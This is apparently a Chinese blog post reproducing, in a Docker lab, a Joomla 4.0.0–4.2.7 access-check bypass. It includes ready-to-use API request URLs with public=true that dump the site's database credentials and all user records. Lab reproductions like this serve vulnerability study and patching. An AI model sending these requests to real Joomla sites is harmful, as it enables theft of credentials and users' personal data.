前言
Joomla是一套全球知名的内容管理系统。
Joomla是使用PHP语言加上MySQL数据库所开发的软件系统,最新版本是4.2.8。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。
影响版本
在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
参考链接:
https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
https://xz.aliyun.com/t/12175
https://vulncheck.com/blog/joomla-for-rce
漏洞详情
执行如下命令启动一个Joomla 4.2.7:
docker-compose up -d
服务启动后,访问http://your-ip:8080
即可查看到Joomla页面。
这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数public=true
来绕过权限校验。
比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码:
http://your-ip:8080/api/index.php/v1/config/application?public=true
如果不添加public=true
,则访问会被拒绝:
访问下面这个链接即可读取所有用户信息,包含邮箱等:
http://your-ip:8080/api/index.php/v1/users?public=true
免责声明
本公众号文章以技术分享学习为目的。
由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。 一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!